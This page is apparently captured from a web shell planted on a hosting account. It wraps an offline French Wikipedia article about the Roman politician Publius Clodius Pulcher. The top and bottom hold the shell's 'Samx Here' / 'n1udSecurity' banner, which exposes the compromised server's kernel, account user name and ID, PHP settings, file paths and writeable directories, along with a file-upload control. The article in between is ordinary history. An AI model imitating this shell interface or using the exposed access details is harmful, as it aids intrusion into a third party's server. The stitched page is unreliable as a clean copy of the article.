Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/p/u/b/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/p/u/b/Publius_Clodius_Pulcher_6112.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Publius Clodius Pulcher - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Publius Clodius Pulcher</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <p><b>Publius Clodius Pulcher</b> (né vers <a href="../../../../articles/-/9/2/-92.html" title="-92">92 av. J.-C.</a>, assassiné le 18 janvier <a href="../../../../articles/-/5/2/-52.html" title="-52">52 av. J.-C.</a>), fut un homme politique romain du courant des <a href="../../../../articles/p/o/p/Populares.html" title="Populares">populares</a>, démagogue, adversaire farouche de <a href="../../../../articles/t/i/t/Titus_Annius_Milon_b1b7.html" title="Titus Annius Milon">Titus Annius Milon</a> et de <a href="../../../../articles/c/i/c/Cic%C3%A9ron.html" title="Cicéron">Cicéron</a>.</p>
<p>Fils de Appius Claudius Pulcher et de Caecilia Metella Balearica, né sur l’aristocratique colline du <a href="../../../../articles/m/o/n/Mont_Palatin_6a59.html" title="Mont Palatin">Palatin</a>, descendant de l’illustre famille <a href="../../../../articles/p/a/t/Patricien.html" title="Patricien">patricienne</a> des <a href="../../../../articles/c/l/a/Claudii.html" title="Claudii">Claudii</a>, il choisit ainsi que sa sœur Clodia de se ranger dans la <a href="../../../../articles/p/l/%C3%A8/Pl%C3%A8be.html" title="Plèbe">plèbe</a>, altérant l’orthographe de son <a href="../../../../articles/g/e/n/Gentilice.html" class="mw-redirect" title="Gentilice">gentilice</a> en Clodius, prononciation populaire, supprimant la diphtongue –au- de Claudius . Il épousa Fulvia et eut une fille, Clodia Pulchra, brièvement mariée à <a href="../../../../articles/a/u/g/Auguste.html" title="Auguste">Octave</a>.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Frasques_de_jeunesse"><span class="tocnumber">1</span> <span class="toctext">Frasques de jeunesse</span></a></li>
<li class="toclevel-1"><a href="#Clodius_tribun_de_la_pl.C3.A8be"><span class="tocnumber">2</span> <span class="toctext">Clodius tribun de la plèbe</span></a></li>
<li class="toclevel-1"><a href="#Clodius_facteur_de_troubles"><span class="tocnumber">3</span> <span class="toctext">Clodius facteur de troubles</span></a></li>
<li class="toclevel-1"><a href="#Sa_fin_tragique"><span class="tocnumber">4</span> <span class="toctext">Sa fin tragique</span></a></li>
<li class="toclevel-1"><a href="#Sources"><span class="tocnumber">5</span> <span class="toctext">Sources</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Frasques_de_jeunesse" id="Frasques_de_jeunesse"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/p/u/b/Publius_Clodius_Pulcher_6112.html" title="Modifier la section&#160;: Frasques de jeunesse">modifier</a>]</span> <span class="mw-headline">Frasques de jeunesse</span></h3>
<p>Sa carrière militaire fut confuse. Il prit part à la <a href="../../../../articles/t/r/o/Troisi%C3%A8me_guerre_de_Mithridate_59d2.html" title="Troisième guerre de Mithridate">troisième guerre de Mithridate</a> sous les ordres de son beau-frère <a href="../../../../articles/l/u/c/Lucullus.html" title="Lucullus">Lucius Licinius Lucullus</a>. Cependant, s’estimant traité avec insuffisamment de considération, il fomenta une révolte des soldats. Un autre de ses beaux-frères, <a href="../../../../articles/q/u/i/Quintus_Marcius_Rex_%28consul_en_-68%29_9e13.html" title="Quintus Marcius Rex (consul en -68)">Quintus Marcius Rex</a>, gouverneur de <a href="../../../../articles/c/i/l/Cilicie.html" title="Cilicie">Cilicie</a> lui confia le commandement de sa flotte, mais il fut capturé par des pirates. Libéré, il reparut en <a href="../../../../articles/s/y/r/Syrie.html" title="Syrie">Syrie</a>, où il manqua de perdre la vie lors d’une mutinerie, dont on le suspecta d’être à l’origine.</p>
<p>Revenu à Rome en <a href="../../../../articles/-/6/5/-65.html" title="-65">65 av. J.-C.</a>, Clodius entama une carrière politique. Il intenta une action judiciaire contre Catilina pour extorsion de fonds, mais se laissa acheter contre un acquittement. Il ne trempa probablement pas dans la <a href="../../../../articles/c/o/n/Conjuration_de_Catilina_0951.html" title="Conjuration de Catilina">conjuration de Catilina</a> en <a href="../../../../articles/-/6/3/-63.html" title="-63">63 av ; J.C.</a>. Selon <a href="../../../../articles/p/l/u/Plutarque.html" title="Plutarque">Plutarque</a> (Cicero, 29), il prêta même assistance à <a href="../../../../articles/c/i/c/Cic%C3%A9ron.html" title="Cicéron">Cicéron</a>, et figura parmi ses gardes du corps.</p>
<p>L’affaire des mystères de la <i><a href="../../../../articles/b/o/n/Bona_Dea_7954.html" title="Bona Dea">Bona Dea</a></i>, provoqua la rupture entre Clodius et Cicéron en décembre 62. Clodius, habillé en femme (les hommes étaient exclus de ces mystères), pénétra dans la maison de <a href="../../../../articles/j/u/l/Jules_C%C3%A9sar_841b.html" title="Jules César">Jules César</a>, alors <i><a href="../../../../articles/p/o/n/Pontifex_maximus.html" title="Pontifex maximus">pontifex maximus</a></i>, durant la célébration de ces mystères. On insinua que Clodius avait revêtu ce déguisement pour rencontrer l’épouse de César, <a href="../../../../articles/p/o/m/Pompeia_Sulla_3620.html" title="Pompeia Sulla">Pompeia Sulla</a> (César divorça peu après). Il fut démasqué et jugé, mais il échappa à une condamnation en corrompant les jurés (Cicéron <i>Ad Atticum</i> I, 16 "Si vous me demandez le pourquoi de cette iniquité, je répondrai le besoin d’argent des juges et leur manque de probité. Itaque si causam quaeris obsulutionis […] egestas iudicum fuit et tupitudo"). Les violentes attaques publiques de Cicéron lors du procès durent inspirer l’animosité de Clodius qui le ne quittera plus.</p>
<p><a name="Clodius_tribun_de_la_pl.C3.A8be" id="Clodius_tribun_de_la_pl.C3.A8be"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/p/u/b/Publius_Clodius_Pulcher_6112.html" title="Modifier la section&#160;: Clodius tribun de la plèbe">modifier</a>]</span> <span class="mw-headline">Clodius tribun de la plèbe</span></h3>
<p>Au retour de sa <a href="../../../../articles/q/u/e/Questeur.html" title="Questeur">questure</a> en Sicile durant l’année <a href="../../../../articles/-/6/1/-61.html" title="-61">61 av. J.-C.</a>, Clodius décida de renoncer à son rang de patricien. Ayant obtenu l’accord du Sénat et avec la connivence de César (<a href="../../../../articles/s/u/%C3%A9/Su%C3%A9tone.html" title="Suétone">Suétone</a>, <i>Caesar</i>, 20), il se fit adopter dans la branche plébéienne de sa famille par un certain P. Fonteius en 59 BC. Ainsi, il put se faire élire <a href="../../../../articles/t/r/i/Tribun_de_la_pl%C3%A8be.html" title="Tribun de la plèbe">tribun de la plèbe</a> en décembre 59, magistrature interdite aux patriciens.</p>
<p>Son premier acte fut de proposer des lois destinées à lui assurer la faveur populaire. Il fit remplacer les ventes de blé à bas prix par des distributions gratuites pendant un mois. Ensuite, il fit passer une série de mesures qui augmentait le pouvoir des assemblées populaires sur lesquelles il s'appuyait&#160;: Le droit de prendre les augures et d’empêcher la tenue des <a href="../../../../articles/c/o/m/Comices.html" title="Comices">comices</a> s’ils étaient défavorables, exercé par chaque magistrat selon la <i>Lex Aelia Fufia</i>, fut aboli. Cette mesure lui permettait d'empêcher toute manœuvre d'obstruction à la tenue d'assemblées populaires. Les anciennes associations d’artisans (<i>collegia</i>) furent rétablies, associations qui se tranformèrent vite en bandes de partisans armées. On interdit enfin aux <a href="../../../../articles/c/e/n/Censeur.html" class="mw-redirect" title="Censeur">censeurs</a> d’exclure un citoyen du Sénat ou de lui infliger une sanction sans accusation et condamnation publique préalable.</p>
<p>Clodius attaqua Cicéron pour avoir fait exécuter les complices de Catilina sans leur avoir permis d’exercer leur droit d’appel à l’assemblée des citoyens, et parvint à le forcer à l’exil. Les propriétés de Cicéron furent confisquées sur ordre de Clodius, sa maison du Palatin fut détruite et son terrain mis aux enchères. Clodius en fit l’acquisition grâce à un prête-nom qui enchérit pour lui.</p>
<p><a name="Clodius_facteur_de_troubles" id="Clodius_facteur_de_troubles"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/p/u/b/Publius_Clodius_Pulcher_6112.html" title="Modifier la section&#160;: Clodius facteur de troubles">modifier</a>]</span> <span class="mw-headline">Clodius facteur de troubles</span></h3>
<p>Après le départ de César en Gaule, Clodius devint quasiment le maître de Rome, grâce à l’action de sa bande de nervis. En <a href="../../../../articles/-/5/7/-57.html" title="-57">57 av. J.-C.</a>, un des tribuns proposa le rappel de Cicéron, et Clodius eut recours à la force pour empêcher le décret de passer. Il fut contré par <a href="../../../../articles/t/i/t/Titus_Annius_Milon_b1b7.html" title="Titus Annius Milon">Milon</a>, qui dirigeait une bande armée assez forte pour le tenir en échec. Clodius s’attaqua ensuite aux ouvriers qui reconstruisaient la maison de Cicéron, attaqua Cicéron lui-même dans la rue et fit mettre le feu à la maison de son frère <a href="../../../../articles/q/u/i/Quintus_Tullius_Cicero_f50b.html" title="Quintus Tullius Cicero">Quintus Tullius Cicero</a>. Il ne cessa ses agressions qu’après l’intervention de <a href="../../../../articles/p/o/m/Pomp%C3%A9e.html" title="Pompée">Pompée</a>.</p>
<p>En 56, étant <a href="../../../../articles/%C3%A9/d/i/%C3%89dile.html" title="Édile">édile curule</a>, il attaqua Milon en justice pour violence publique à la suite de la défense de sa maison contre une attaque de la bande de Clodius, et l’accusa d’employer des bandes armées. La procédure fut entravée par des violences et finalement abandonnée.</p>
<p><a name="Sa_fin_tragique" id="Sa_fin_tragique"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/p/u/b/Publius_Clodius_Pulcher_6112.html" title="Modifier la section&#160;: Sa fin tragique">modifier</a>]</span> <span class="mw-headline">Sa fin tragique</span></h3>
<p>En <a href="../../../../articles/-/5/3/-53.html" title="-53">53 av. J.-C.</a>, Milon fut candidat au consulat et Clodius à la préture, leurs bandes armées s’affrontèrent dans Rome, retardant la tenue des élections. Le 18 janvier 52, Clodius fut tué par les hommes de Milon à Bovillae, sur la <a href="../../../../articles/v/i/a/Via_Appia_84e5.html" class="mw-redirect" title="Via Appia">via Appia</a>. Ses partisans en fureur installèrent son bûcher funéraire devant la <a href="../../../../articles/c/u/r/Curie_romaine.html" title="Curie romaine">Curie romaine</a>, qu’ils incendièrent. Milon fut quant à lui accusé de meurtre (<i>vi, de ambitu e lege pompeia</i>) par Appius Claudius Pulcher Maior et Minor (les deux fils de Caïus Claudius Pulcher)&#160;; Appius claudius Pulcher (cos 54) ne semble pas prendre part au procès. Maladroitement défendu par Cicéron (voir son <a href="../../../../articles/p/o/u/Pour_Milon_76bc.html" title="Pour Milon">Pour Milon</a>), Milon dut s’exiler.</p>
<p><a name="Sources" id="Sources"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/p/u/b/Publius_Clodius_Pulcher_6112.html" title="Modifier la section&#160;: Sources">modifier</a>]</span> <span class="mw-headline">Sources</span></h3>
<ul>
<li><a href="../../../../articles/c/i/c/Cic%C3%A9ron.html" title="Cicéron">Cicéron</a>, Ad Atticum (I), Pro Caelio, pro Sestio, pro Milone, pro Domo sua, de Haruspicum Responsis, in Pisonem;</li>
<li><a href="../../../../articles/p/l/u/Plutarque.html" title="Plutarque">Plutarque</a>&#160;: vies de Lucullus, Pompée, Cicéron, César;</li>
<li><a href="../../../../articles/d/i/o/Dion_Cassius_0304.html" title="Dion Cassius">Dion Cassius</a> xxxvi. 16, 19, xxxvii. 45, 46, 51, xxxviii. 12-14, xxxix. 6, if, xl. 48.</li>
<li>Florence Dupont, L’affaire Milon, meurtre sur la voie Appienne, 1987, Editions Denoël</li>
<li>J. M. DAVID, <i>Le patronat judiciaire au dernier siècle de la république romaine</i> pp 890-1</li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/p/_/r/Image%7EP_rome_colosseum.png_608e.html" class="image" title="Icône du portail de la Rome antique"><img alt="Icône du portail de la Rome antique" src="../../../../images/shared/thumb/d/dd/P_rome_colosseum.png/33px-P_rome_colosseum.png" width="33" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/r/o/m/Portail%7ERome_antique_b893.html" title="Portail:Rome antique">Portail de la Rome antique</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 45/1000000
Post-expand include size: 768/2048000 bytes
Template argument size: 94/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/p/e/r/Cat%C3%A9gorie%7EPersonnalit%C3%A9_politique_de_la_Rome_antique_a6c9.html" title="Catégorie:Personnalité politique de la Rome antique">Personnalité politique de la Rome antique</a></span> | <span dir='ltr'><a href="../../../../articles/m/o/r/Cat%C3%A9gorie%7EMort_assassin%C3%A9_a6c1.html" title="Catégorie:Mort assassiné">Mort assassiné</a></span></div><div id="mw-hidden-catlinks" class="mw-hidden-cats-hidden">Catégorie cachée&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/p/o/r/Cat%C3%A9gorie%7EPortail%7EItalie_Articles_li%C3%A9s_3812.html" title="Catégorie:Portail:Italie/Articles liés">Portail:Italie/Articles liés</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/p/u/b/Publius_Clodius_Pulcher_6112.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/p/u/b/Discuter%7EPublius_Clodius_Pulcher_73aa.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Publius_Clodius_Pulcher">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../ca/articles/p/u/b/Publi_Clodi_Pulcre_1c2d.html">Català</a>
	      </li>
	      	      <li>
	      <a href="../../../../../de/articles/p/u/b/Publius_Clodius_Pulcher_6112.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/p/u/b/Publius_Clodius_Pulcher_6112.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/p/u/b/Publio_Clodio_Pulcro_6518.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../eu/articles/k/l/o/Klodio_Pulker_69ab.html">Euskara</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fi/articles/p/u/b/Publius_Clodius_Pulcher_6112.html">Suomi</a>
	      </li>
	      	      <li>
	      <a href="../../../../../he/articles/%D7%A4/%D7%95/%D7%91/%D7%A4%D7%95%D7%91%D7%9C%D7%99%D7%95%D7%A1_%D7%A7%D7%9C%D7%95%D7%93%D7%99%D7%95%D7%A1_%D7%A4%D7%95%D7%9C%D7%9B%D7%A8.html">עברית</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/p/u/b/Publio_Clodio_Pulcro_6518.html">Italiano</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E3%83%97/%E3%83%96/%E3%83%AA/%E3%83%97%E3%83%96%E3%83%AA%E3%82%A6%E3%82%B9%E3%83%BB%E3%82%AF%E3%83%AD%E3%83%87%E3%82%A3%E3%82%A6%E3%82%B9%E3%83%BB%E3%83%97%E3%83%AB%E3%82%B1%E3%83%AB.html">日本語</a>
	      </li>
	      	      <li>
	      <a href="../../../../../la/articles/p/u/b/Publius_Clodius_Pulcher_6112.html">Latina</a>
	      </li>
	      	      <li>
	      <a href="../../../../../nl/articles/p/u/b/Publius_Clodius_Pulcher_6112.html">Nederlands</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pl/articles/k/l/o/Klodiusz.html">Polski</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ru/articles/%D0%BF/%D1%83/%D0%B1/%D0%9F%D1%83%D0%B1%D0%BB%D0%B8%D0%B9_%D0%9A%D0%BB%D0%BE%D0%B4%D0%B8%D0%B9_%D0%9F%D1%83%D0%BB%D1%8C%D1%85%D1%80_042c.html">Русский</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 29 avril 2008 à 15:01 par Utilisateur <a href="../../../../articles/u/r/s/Utilisateur%7EUrsus_ee6a.html" title="Utilisateur:Ursus">Ursus</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/e/j/s/Utilisateur%7EEjsBot_dcc1.html" title="Utilisateur:EjsBot">EjsBot</a>, <a href="../../../../articles/i/s/a/Utilisateur%7EIsaac_Sanolnacov_61ad.html" title="Utilisateur:Isaac Sanolnacov">Isaac Sanolnacov</a>, <a href="../../../../articles/d/u/m/Utilisateur%7EDumZiBoT_1015.html" title="Utilisateur:DumZiBoT">DumZiBoT</a>, <a href="../../../../articles/p/i/x/Utilisateur%7EPixelBot_d78c.html" title="Utilisateur:PixelBot">PixelBot</a>, <a href="../../../../articles/i/a/l/Utilisateur%7EIAlex_938a.html" title="Utilisateur:IAlex">IAlex</a>, <a href="../../../../articles/b/o/u/Utilisateur%7EBouette_f89a.html" title="Utilisateur:Bouette">Bouette</a>, <a href="../../../../articles/c/o/l/Utilisateur%7EColdEel_aab1.html" title="Utilisateur:ColdEel">ColdEel</a>, <a href="../../../../articles/c/a/s/Utilisateur%7ECasseroleTexane_6be0.html" title="Utilisateur:CasseroleTexane">CasseroleTexane</a>, <a href="../../../../articles/v/i/n/Utilisateur%7EVincnet_5010.html" title="Utilisateur:Vincnet">Vincnet</a>, <a href="../../../../articles/n/o/n/Utilisateur%7ENono_le_petit_robot_df33.html" title="Utilisateur:Nono le petit robot">Nono le petit robot</a>, <a href="../../../../articles/g/u/s/Utilisateur%7EGustave_Graetzlin_9a0e.html" title="Utilisateur:Gustave Graetzlin">Gustave Graetzlin</a>, <a href="../../../../articles/p/o/k/Utilisateur%7EPok148_a0be.html" title="Utilisateur:Pok148">Pok148</a>, <a href="../../../../articles/h/i/s/Utilisateur%7EHistoire-fr.com_fb7b.html" title="Utilisateur:Histoire-fr.com">Histoire-fr.com</a>, <a href="../../../../articles/a/e/l/Utilisateur%7EAeldao_bf89.html" title="Utilisateur:Aeldao">Aeldao</a> et <a href="../../../../articles/l/i/q/Utilisateur%7ELiquid-aim-bot_78e0.html" title="Utilisateur:Liquid-aim-bot">Liquid-aim-bot</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX